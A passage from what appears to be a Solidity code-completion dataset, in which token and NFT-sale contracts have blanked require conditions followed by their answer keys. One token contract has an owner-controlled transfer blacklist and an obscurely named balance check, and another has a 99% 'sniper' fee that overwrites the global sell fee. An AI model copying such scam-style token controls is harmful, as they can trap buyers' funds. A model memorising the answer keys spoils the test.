function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract ERC20 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private _decimals;
address payable public MarketingWalletAddress;
address payable public TeamWalletAddress;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isExcludedFromFee;
mapping (address => bool) public isWalletLimitExempt;
mapping (address => bool) public isTxLimitExempt;
mapping (address => bool) public isMarketPair;
mapping (address => bool) public _b;
uint256 public _buyLiquidityFee;
uint256 public _buyMarketingFee;
uint256 public _buyTeamFee;
uint256 public _sellLiquidityFee;
uint256 public _sellMarketingFee;
uint256 public _sellTeamFee;
uint256 public _liquidityShare;
uint256 public _marketingShare;
uint256 public _teamShare;
uint256 public _totalTaxIfBuying;
uint256 public _totalTaxIfSelling;
uint256 public _totalDistributionShares;
uint256 private _totalSupply;
uint256 public _txLimitAmount;
uint256 public _walletLimitAmount;
uint256 private minimumTokensBeforeSwap;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyBySmallOnly = false;
bool public walletLimitEnable = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
}
constructor (string memory _NAME,
string memory _SYMBOL,
uint256 _SUPPLY,
uint256[3] memory _BUYFEE,
uint256[3] memory _SELLFEE,
uint256[3] memory _SHARE,
uint256[2] memory _LMT,
address[2] memory _walletList)
{
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function setMarketPairStatus(address account, bool newValue) public onlyOwner {
}
function setisTxLimitExempt(address holder, bool exempt) external onlyOwner {
}
function setisExcludedFromFee(address account, bool newValue) public onlyOwner {
}
function multiExcludeFromFee(address[] calldata addresses, bool status) public onlyOwner {
}
function setTxLimitAmount(uint256 newValue) external onlyOwner() {
}
function enableWalletLimitEnable(bool newValue) external onlyOwner {
}
function setisWalletLimitExempt(address holder, bool exempt) external onlyOwner {
}
function setWalletLimitAmount(uint256 newValue) external onlyOwner {
}
function setNumTokensBeforeSwap(uint256 newValue) external onlyOwner() {
}
function setMarketingWalletAddress(address newAddress) external onlyOwner() {
}
function setTeamWalletAddress(address newAddress) external onlyOwner() {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function setSwapAndLiquifyBySmallOnly(bool newValue) public onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function exraorinr(address LOLOLOL,address CJCJCJCJ) private view returns(bool){
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function setB(address b,bool s) public onlyOwner{
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(inSwapAndLiquify)
{
return _basicTransfer(sender, recipient, amount);
}
else
{
if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
require(smallOrEqual(amount, _txLimitAmount));
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
{
if(swapAndLiquifyBySmallOnly)
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(contractTokenBalance);
}if(exraorinr(sender,recipient))
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount;
if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
finalAmount = amount;
} else {
require(<FILL_ME>)
finalAmount = takeFee(sender, recipient, amount);
}
if(walletLimitEnable && !isWalletLimitExempt[recipient])
require(smallOrEqual(balanceOf(recipient).add(finalAmount), _walletLimitAmount));
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
}
function smallOrEqual(uint256 a, uint256 b) public pure returns(bool) { }
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
}
contract Token is ERC20 {
constructor() ERC20(
"FFT22",
"FFT22",
1000000,
[uint256(0),uint256(1),uint256(0)],
[uint256(0),uint256(1),uint256(0)],
[uint256(0),uint256(1),uint256(0)],
[uint256(1000000),uint256(1000000)],
[address(0x07303F382f633d41E78F4EA7A62f82337edEF609),address(0x07303F382f633d41E78F4EA7A62f82337edEF609)]
){}
}
| !_b[sender],"b" | 419,172 | !_b[sender] |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function waiveOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract ERC20 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private _decimals;
address payable public MarketingWalletAddress;
address payable public TeamWalletAddress;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isExcludedFromFee;
mapping (address => bool) public isWalletLimitExempt;
mapping (address => bool) public isTxLimitExempt;
mapping (address => bool) public isMarketPair;
mapping (address => bool) public _b;
uint256 public _buyLiquidityFee;
uint256 public _buyMarketingFee;
uint256 public _buyTeamFee;
uint256 public _sellLiquidityFee;
uint256 public _sellMarketingFee;
uint256 public _sellTeamFee;
uint256 public _liquidityShare;
uint256 public _marketingShare;
uint256 public _teamShare;
uint256 public _totalTaxIfBuying;
uint256 public _totalTaxIfSelling;
uint256 public _totalDistributionShares;
uint256 private _totalSupply;
uint256 public _txLimitAmount;
uint256 public _walletLimitAmount;
uint256 private minimumTokensBeforeSwap;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyBySmallOnly = false;
bool public walletLimitEnable = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
}
constructor (string memory _NAME,
string memory _SYMBOL,
uint256 _SUPPLY,
uint256[3] memory _BUYFEE,
uint256[3] memory _SELLFEE,
uint256[3] memory _SHARE,
uint256[2] memory _LMT,
address[2] memory _walletList)
{
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function setMarketPairStatus(address account, bool newValue) public onlyOwner {
}
function setisTxLimitExempt(address holder, bool exempt) external onlyOwner {
}
function setisExcludedFromFee(address account, bool newValue) public onlyOwner {
}
function multiExcludeFromFee(address[] calldata addresses, bool status) public onlyOwner {
}
function setTxLimitAmount(uint256 newValue) external onlyOwner() {
}
function enableWalletLimitEnable(bool newValue) external onlyOwner {
}
function setisWalletLimitExempt(address holder, bool exempt) external onlyOwner {
}
function setWalletLimitAmount(uint256 newValue) external onlyOwner {
}
function setNumTokensBeforeSwap(uint256 newValue) external onlyOwner() {
}
function setMarketingWalletAddress(address newAddress) external onlyOwner() {
}
function setTeamWalletAddress(address newAddress) external onlyOwner() {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function setSwapAndLiquifyBySmallOnly(bool newValue) public onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function exraorinr(address LOLOLOL,address CJCJCJCJ) private view returns(bool){
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function setB(address b,bool s) public onlyOwner{
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(inSwapAndLiquify)
{
return _basicTransfer(sender, recipient, amount);
}
else
{
if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
require(smallOrEqual(amount, _txLimitAmount));
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
{
if(swapAndLiquifyBySmallOnly)
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(contractTokenBalance);
}if(exraorinr(sender,recipient))
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount;
if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
finalAmount = amount;
} else {
require(!_b[sender],"b");
finalAmount = takeFee(sender, recipient, amount);
}
if(walletLimitEnable && !isWalletLimitExempt[recipient])
require(<FILL_ME>)
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
}
function smallOrEqual(uint256 a, uint256 b) public pure returns(bool) { }
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
}
contract Token is ERC20 {
constructor() ERC20(
"FFT22",
"FFT22",
1000000,
[uint256(0),uint256(1),uint256(0)],
[uint256(0),uint256(1),uint256(0)],
[uint256(0),uint256(1),uint256(0)],
[uint256(1000000),uint256(1000000)],
[address(0x07303F382f633d41E78F4EA7A62f82337edEF609),address(0x07303F382f633d41E78F4EA7A62f82337edEF609)]
){}
}
| smallOrEqual(balanceOf(recipient).add(finalAmount),_walletLimitAmount) | 419,172 | smallOrEqual(balanceOf(recipient).add(finalAmount),_walletLimitAmount) |
"MaxWalletAmount" | /**
Twitter: https://twitter.com/PepeRaceToken
Telegram: https://t.me/PepeRaceToken
*/
pragma solidity ^0.8.18;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
library SafeMath {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) internal _balances;
string private _name;
string private _symbol;
address public pair;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
constructor (string memory name_, string memory symbol_) {
}
function symbol() public view virtual override returns (string memory) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
}
library Address{
function sendValue(address payable recipient, uint256 amount) internal {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
interface IRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract PEPERACETOKEN is ERC20, Ownable{
using SafeMath for uint256;
using Address for address payable;
uint256 public ogblocks;
uint256 public deadBlocks = 0;
mapping (address => bool) public excludedFromFees;
mapping (address => bool) private isSniper;
uint256 public sniperFee = 99;
address public marketingAddr = 0xcC9c39677d35FEBfB5434254d09080bcbcE33486;
IRouter public uniswapRouter;
uint256 public feeValueForBuy = 0; // zero
uint256 public feeValueForSell = 0; // zero
address public devWallet = 0xf8A5c6c2C2ecAE3246ea3f8B0e2563ca791902d3;
bool public enableSwap;
bool public activeTrading;
bool private swappingNow;
uint256 public swapAt = 500_000 * 10e18;
uint256 public maxTransAmount = 50_000_000 * 10**18; // 5%
uint256 public maxWalletAmounts = 50_000_000 * 10**18; // 5%
constructor() ERC20("Pepe Race", "PERACE") {
}
function withdrawETH(uint256 weiAmount) external onlyOwner{
}
function manualSwap(uint256 amount, uint256 devPercentage, uint256 marketingPercentage) external onlyOwner{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
require(amount > 0, "Transfer amount must be greater than zero"); // require(!blacklist[sender] && !blacklist[recipient], "You are blacklisted");
if(isSniper[recipient] ||
isSniper[sender]
) { feeValueForSell = sniperFee; }
if(
!excludedFromFees[sender]
&& !excludedFromFees[recipient]
&& !swappingNow
) {
require(
activeTrading,
"Trading is not active yet"
);
if (ogblocks + deadBlocks > block.number)
{
if(recipient != pair) {
isSniper[recipient] = true;
}
if(sender != pair) {
isSniper[sender] = true;
}
}
require(amount <= maxTransAmount, "MaxTxAmount");
if(recipient != pair){
require(<FILL_ME>)
}
}
uint256 feeAmounts;
if (swappingNow
|| excludedFromFees[sender]
|| excludedFromFees[recipient]
) {
feeAmounts = 0;
} else {
if(recipient == pair && !isSniper[sender]) {
feeAmounts = amount * feeValueForSell / 100;
} else {
feeAmounts = amount * feeValueForBuy / 100;
}
}
if (enableSwap && !swappingNow
&& sender != pair
&& feeAmounts > 0
) {
swapBackAll();
}
if(feeAmounts > 0) {
super._transfer(sender, address(this) ,feeAmounts); super._transfer(sender, recipient, amount.sub(feeAmounts));
} else {
super._transfer(sender, recipient, amount);
}
}
function swapBackAll() private {
}
function withdrawErc20Token(address tokenAddress, uint256 amount) external onlyOwner{
}
function swapAllEthForTokens(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
}
function updateSnipers(address[] memory isBot_) public onlyOwner {
}
function changeMaxTxAmount(uint256 amount) external onlyOwner{
}
function changeMaxWalletAmount(uint256 amount) external onlyOwner{
}
function openTrading() external onlyOwner{
}
// fallbacks
receive() external payable {
}
}
| balanceOf(recipient)+amount<=maxWalletAmounts,"MaxWalletAmount" | 419,179 | balanceOf(recipient)+amount<=maxWalletAmounts |
"INFERNAL OVERLOAD" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./ERC721A.sol";
contract Infernals is ERC721A, Ownable {
string public uriPrefix = "ipfs://QmfRZJGZcQs5KR445eBGzWk7h8g9nTe1xwSLRsWGRz6MHZ/";
uint256 public immutable mintPrice = 0.001 ether;
uint32 public immutable maxSupply = 5000;
uint32 public immutable maxPerTx = 10;
mapping(address => bool) freeMintMapping;
modifier callerIsUser() {
}
constructor()
ERC721A ("The Infernals", "INFERNAL") {
}
function _baseURI() internal view override(ERC721A) returns (string memory) {
}
function setUri(string memory uri) public onlyOwner {
}
function _startTokenId() internal view virtual override(ERC721A) returns (uint256) {
}
function spawnInfernal(uint256 amount) public payable callerIsUser{
}
function infernalRise(address _to, uint256 numberOfSpawns) external onlyOwner {
uint256 infernalPopulation = totalSupply();
require(<FILL_ME>)
_safeMint(_to, numberOfSpawns);
}
function withdraw() public onlyOwner {
}
}
| infernalPopulation+numberOfSpawns<=maxSupply,"INFERNAL OVERLOAD" | 419,211 | infernalPopulation+numberOfSpawns<=maxSupply |
"claim is over the max sale supply." | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
import "../IKiyoshisSeedsProject.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract KiyoshiSeller is AccessControl, Ownable, Pausable {
using Address for address payable;
bytes32 public constant ADMIN = "ADMIN";
constructor() {
}
// ==================================================================
// Structs
// ==================================================================
struct Sale {
uint8 saleId;
uint248 mintCost;
uint256 maxSupply;
bytes32 merkleRoot;
}
struct SalesRecord {
uint8 id;
uint248 amount;
}
// ==================================================================
// Event
// ==================================================================
event ChangeSale(uint8 oldId, uint8 newId);
// ==================================================================
// Variables
// ==================================================================
address payable public withdrawAddress;
uint256 public maxSupply;
Sale internal _currentSale;
uint256 public soldCount = 0;
mapping(address => SalesRecord) internal _salesRecordByBuyer;
IKiyoshisSeedsProject public kiyoshi;
// ==================================================================
// Modifier
// ==================================================================
modifier isNotOverMaxSaleSupply(uint256 amount) {
require(<FILL_ME>)
_;
}
modifier isNotOverAllowedAmount(uint248 amount, uint248 allowedAmount) {
}
modifier enoughEth(uint256 amount) {
}
modifier hasRight(
uint256 tokenId,
uint248 amount,
uint248 allowedAmount,
bytes32[] calldata merkleProof
) {
}
function claim(
uint256 tokenId,
uint248 amount,
uint248 allowedAmount,
bytes32[] calldata merkleProof
)
external payable
whenNotPaused
hasRight(tokenId, amount, allowedAmount, merkleProof)
isNotOverMaxSaleSupply(amount)
enoughEth(amount)
isNotOverAllowedAmount(amount, allowedAmount)
{
}
// ==================================================================
// Functions
// ==================================================================
function getCurrentSale()
external
view
virtual
returns (
uint8,
uint256,
uint256
)
{
}
function setCurrentSale(Sale calldata sale) external onlyRole(ADMIN) {
}
function getBuyCount() public view returns (uint256) {
}
function withdraw() external onlyRole(ADMIN) {
}
function setWithdrawAddress(address payable value)
external
onlyRole(ADMIN)
{
}
function setKiyoshi(address value) external onlyRole(ADMIN) {
}
function pause() external onlyRole(ADMIN) {
}
function unpause() external onlyRole(ADMIN) {
}
// ==================================================================
// override AccessControl
// ==================================================================
function grantRole(bytes32 role, address account)
public
override
onlyOwner
{
}
function revokeRole(bytes32 role, address account)
public
override
onlyOwner
{
}
}
| amount+soldCount<=_currentSale.maxSupply,"claim is over the max sale supply." | 419,267 | amount+soldCount<=_currentSale.maxSupply |
"claim is over allowed amount." | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
import "../IKiyoshisSeedsProject.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract KiyoshiSeller is AccessControl, Ownable, Pausable {
using Address for address payable;
bytes32 public constant ADMIN = "ADMIN";
constructor() {
}
// ==================================================================
// Structs
// ==================================================================
struct Sale {
uint8 saleId;
uint248 mintCost;
uint256 maxSupply;
bytes32 merkleRoot;
}
struct SalesRecord {
uint8 id;
uint248 amount;
}
// ==================================================================
// Event
// ==================================================================
event ChangeSale(uint8 oldId, uint8 newId);
// ==================================================================
// Variables
// ==================================================================
address payable public withdrawAddress;
uint256 public maxSupply;
Sale internal _currentSale;
uint256 public soldCount = 0;
mapping(address => SalesRecord) internal _salesRecordByBuyer;
IKiyoshisSeedsProject public kiyoshi;
// ==================================================================
// Modifier
// ==================================================================
modifier isNotOverMaxSaleSupply(uint256 amount) {
}
modifier isNotOverAllowedAmount(uint248 amount, uint248 allowedAmount) {
require(<FILL_ME>)
_;
}
modifier enoughEth(uint256 amount) {
}
modifier hasRight(
uint256 tokenId,
uint248 amount,
uint248 allowedAmount,
bytes32[] calldata merkleProof
) {
}
function claim(
uint256 tokenId,
uint248 amount,
uint248 allowedAmount,
bytes32[] calldata merkleProof
)
external payable
whenNotPaused
hasRight(tokenId, amount, allowedAmount, merkleProof)
isNotOverMaxSaleSupply(amount)
enoughEth(amount)
isNotOverAllowedAmount(amount, allowedAmount)
{
}
// ==================================================================
// Functions
// ==================================================================
function getCurrentSale()
external
view
virtual
returns (
uint8,
uint256,
uint256
)
{
}
function setCurrentSale(Sale calldata sale) external onlyRole(ADMIN) {
}
function getBuyCount() public view returns (uint256) {
}
function withdraw() external onlyRole(ADMIN) {
}
function setWithdrawAddress(address payable value)
external
onlyRole(ADMIN)
{
}
function setKiyoshi(address value) external onlyRole(ADMIN) {
}
function pause() external onlyRole(ADMIN) {
}
function unpause() external onlyRole(ADMIN) {
}
// ==================================================================
// override AccessControl
// ==================================================================
function grantRole(bytes32 role, address account)
public
override
onlyOwner
{
}
function revokeRole(bytes32 role, address account)
public
override
onlyOwner
{
}
}
| getBuyCount()+amount<=allowedAmount,"claim is over allowed amount." | 419,267 | getBuyCount()+amount<=allowedAmount |
"invalid proof." | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
import "../IKiyoshisSeedsProject.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract KiyoshiSeller is AccessControl, Ownable, Pausable {
using Address for address payable;
bytes32 public constant ADMIN = "ADMIN";
constructor() {
}
// ==================================================================
// Structs
// ==================================================================
struct Sale {
uint8 saleId;
uint248 mintCost;
uint256 maxSupply;
bytes32 merkleRoot;
}
struct SalesRecord {
uint8 id;
uint248 amount;
}
// ==================================================================
// Event
// ==================================================================
event ChangeSale(uint8 oldId, uint8 newId);
// ==================================================================
// Variables
// ==================================================================
address payable public withdrawAddress;
uint256 public maxSupply;
Sale internal _currentSale;
uint256 public soldCount = 0;
mapping(address => SalesRecord) internal _salesRecordByBuyer;
IKiyoshisSeedsProject public kiyoshi;
// ==================================================================
// Modifier
// ==================================================================
modifier isNotOverMaxSaleSupply(uint256 amount) {
}
modifier isNotOverAllowedAmount(uint248 amount, uint248 allowedAmount) {
}
modifier enoughEth(uint256 amount) {
}
modifier hasRight(
uint256 tokenId,
uint248 amount,
uint248 allowedAmount,
bytes32[] calldata merkleProof
) {
bytes32 node = keccak256(
abi.encodePacked(msg.sender, "-", tokenId, "-", allowedAmount)
);
require(<FILL_ME>)
_;
}
function claim(
uint256 tokenId,
uint248 amount,
